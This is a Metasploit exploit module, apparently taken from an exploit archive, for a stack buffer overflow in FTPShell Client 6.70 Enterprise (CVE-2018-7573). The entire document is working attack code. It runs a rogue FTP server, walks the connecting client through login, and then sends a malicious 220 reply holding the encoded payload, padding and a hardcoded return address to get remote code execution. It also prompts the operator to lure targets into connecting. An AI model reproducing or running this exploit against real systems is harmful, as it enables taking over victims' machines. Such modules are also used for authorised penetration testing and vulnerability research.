FTPShell Client 6.70 (Enterprise Edition) – Stack Buffer Overflow (Metasploit)
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::TcpServer def initialize(info = {}) super(update_info(info, 'Name' => 'FTPShell client 6.70 (Enterprise edition) Stack Buffer Overflow', 'Description' => %q{ This module exploits a buffer overflow in the FTPShell client 6.70 (Enterprise edition) allowing remote code execution. }, 'Author' => [ 'r4wd3r', # Original exploit author 'Daniel Teixeira' # MSF module author ], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2018-7573'], [ 'EDB', '44596' ] ], 'Payload' => { 'Space' => 400, 'BadChars' => "\x00\x22\x0d\x0a\x0b" }, 'Platform' => 'win', 'Targets' => [ # CALL ESI in FTPShell.exe : 0x00452eed [ 'Windows Universal', {'Ret' => "\xed\x2e\x45" } ] ], 'Privileged' => false, 'DefaultOptions' => { 'SRVHOST' => '0.0.0.0', 'EXITFUNC' => 'thread' }, 'DisclosureDate' => 'Mar 4 2017', 'DefaultTarget' => 0)) register_options [ OptPort.new('SRVPORT', [ true, 'The FTP port to listen on', 21 ]) ] end def exploit srv_ip_for_client = datastore['SRVHOST'] if srv_ip_for_client == '0.0.0.0' if datastore['LHOST'] srv_ip_for_client = datastore['LHOST'] else srv_ip_for_client = Rex::Socket.source_address('50.50.50.50') end end srv_port = datastore['SRVPORT'] print_status("Please ask your target(s) to connect to #{srv_ip_for_client}:#{srv_port}") super end def on_client_connect(client) p = regenerate_payload(client) return if p.nil? print_status("#{client.peerhost} - connected.") res = client.get_once.to_s.strip print_status("#{client.peerhost} - Request: #{res}") unless res.empty? print_status("#{client.peerhost} - Response: Sending 220 Welcome") welcome = "220 Welcome.\r\n" client.put(welcome) res = client.get_once.to_s.strip print_status("#{client.peerhost} - Request: #{res}") print_status("#{client.peerhost} - Response: sending 331 OK") user = "331 OK.\r\n" client.put(user) res = client.get_once.to_s.strip print_status("#{client.peerhost} - Request: #{res}") print_status("#{client.peerhost} - Response: Sending 230 OK") pass = "230 OK.\r\n" client.put(pass) res = client.get_once.to_s.strip print_status("#{client.peerhost} - Request: #{res}") sploit = '220 "' sploit << payload.encoded sploit << "\x20" * (payload_space - payload.encoded.length) sploit << target.ret sploit << "\" is current directory\r\n" print_status("#{client.peerhost} - Request: Sending the malicious response") client.put(sploit) end end |